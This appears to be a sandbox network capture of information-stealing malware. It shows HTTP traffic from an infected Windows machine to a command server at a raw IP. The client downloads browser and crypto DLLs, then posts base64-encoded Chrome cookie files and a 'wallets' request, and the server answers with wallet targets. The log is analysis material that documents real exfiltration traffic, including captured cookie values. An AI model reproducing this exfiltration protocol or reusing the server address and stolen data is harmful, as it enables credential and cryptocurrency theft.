Jun 26, 2024 08:16:17.010987043 CEST	89	OUT	GET /69934896f997d5bb/sqlite3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:17.188303947 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:17 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 14:30:30 GMT ETag: "10e436-5e7eeebed8d80" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Jun 26, 2024 08:16:17.188323021 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Jun 26, 2024 08:16:17.188338041 CEST	1236	IN	Data Raw: ec 0c 89 c5 85 db 74 05 83 fb 03 75 2e 89 7c 24 08 89 5c 24 04 89 34 24 e8 19 f7 0a 00 83 ec 0c 89 c5 89 7c 24 08 89 5c 24 04 89 34 24 e8 64 fd ff ff 83 ec 0c 85 c0 75 02 31 ed c7 05 48 67 eb 61 ff ff ff ff 83 c4 1c 89 e8 5b 5e 5f 5d c3 8d b4 26 Data Ascii: tu.\|$\$4$\|$\$4$du1Hga[^_]&+C\|$\$4$w#t\|$\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q
Jun 26, 2024 08:16:17.188352108 CEST	1236	IN	Data Raw: c0 5d c3 55 89 e5 8b 45 08 85 c0 74 07 5d ff 25 78 66 eb 61 5d c3 55 b8 08 00 00 00 89 e5 5d c3 55 31 c0 89 e5 5d c3 55 89 e5 83 ec 18 89 04 24 ff 15 4c 66 eb 61 c9 c3 55 89 e5 83 ec 18 8b 4d 08 85 c9 74 0c 89 0c 24 ff 15 4c 66 eb 61 99 eb 04 31 Data Ascii: ]UEt]%xfa]U]U1]U$LfaUMt$Lfa11UtBtRJ$~HD]UUtB]U1UtB]U1UtJtBB]JvYU@aSuK?
Jun 26, 2024 08:16:18.119563103 CEST	948	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 85.28.47.4 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3LWdUY1dxSHZadlpiYWZPcGtxUnkwZEx5WUc5QWpQMnZiVUJvbWFybmM5cGNaVmxoSGtVZVVhV011ckQwR0dYeVcwNV9CXzFJeVVOWUVFTG15cVJnCi5nb29nbGUuY29tCVRSVUUJLwlGQUxTRQkxNjk5MDcxNjQwCTFQX0pBUgkyMDIzLTEwLTA1LTA2Cg==------IDHIIJJJKEGIDGCBAFIJ--
Jun 26, 2024 08:16:18.839576960 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 26, 2024 08:16:19.580393076 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCAAKJDHJJJJJKKKFB Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 [TRUNCATED] Data Ascii: ------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="file"------HCGCAAKJDHJJJJJKKKFB--
Jun 26, 2024 08:16:20.290266037 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 26, 2024 08:16:21.114447117 CEST	556	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 85.28.47.4 Content-Length: 359 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 [TRUNCATED] Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file_name"ZWltZWhydnpvZC5maWxl------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="file"------IDHIIJJJKEGIDGCBAFIJ--
Jun 26, 2024 08:16:21.819581985 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 26, 2024 08:16:22.423535109 CEST	89	OUT	GET /69934896f997d5bb/freebl3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:22.598654032 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:22 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "a7550-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Jun 26, 2024 08:16:23.268379927 CEST	89	OUT	GET /69934896f997d5bb/mozglue.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:23.443800926 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "94750-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Jun 26, 2024 08:16:23.886426926 CEST	90	OUT	GET /69934896f997d5bb/msvcp140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:24.061744928 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:23 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "6dde8-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Jun 26, 2024 08:16:24.374207020 CEST	86	OUT	GET /69934896f997d5bb/nss3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:24.550610065 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "1f3950-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Jun 26, 2024 08:16:26.025129080 CEST	90	OUT	GET /69934896f997d5bb/softokn3.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:26.204592943 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "3ef50-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Jun 26, 2024 08:16:26.408256054 CEST	94	OUT	GET /69934896f997d5bb/vcruntime140.dll HTTP/1.1 Host: 85.28.47.4 Cache-Control: no-cache
Jun 26, 2024 08:16:26.583693981 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 10:49:08 GMT ETag: "13bf0-5e7ebd4425100" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Jun 26, 2024 08:16:27.148055077 CEST	197	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDGHJEHJJDAAAKEBGCF Host: 85.28.47.4 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Jun 26, 2024 08:16:27.890811920 CEST	202	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:27 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Jun 26, 2024 08:16:27.973120928 CEST	464	OUT	POST /920475a59bac849d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAEBAFBGIDHCBFHIECFC Host: 85.28.47.4 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 66 62 66 30 66 30 34 36 35 32 38 32 65 63 66 37 63 30 61 61 33 66 34 32 39 37 33 33 31 66 33 37 66 64 33 65 61 31 39 34 35 61 61 34 31 32 61 39 64 30 33 63 63 35 65 65 37 33 66 32 30 36 61 63 34 33 63 36 62 30 34 61 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 2d 2d 0d 0a Data Ascii: ------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="token"fbf0f0465282ecf7c0aa3f4297331f37fd3ea1945aa412a9d03cc5ee73f206ac43c6b04a------AAEBAFBGIDHCBFHIECFCContent-Disposition: form-data; name="message"wallets------AAEBAFBGIDHCBFHIECFC--
Jun 26, 2024 08:16:28.151084900 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 26 Jun 2024 06:16:28 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 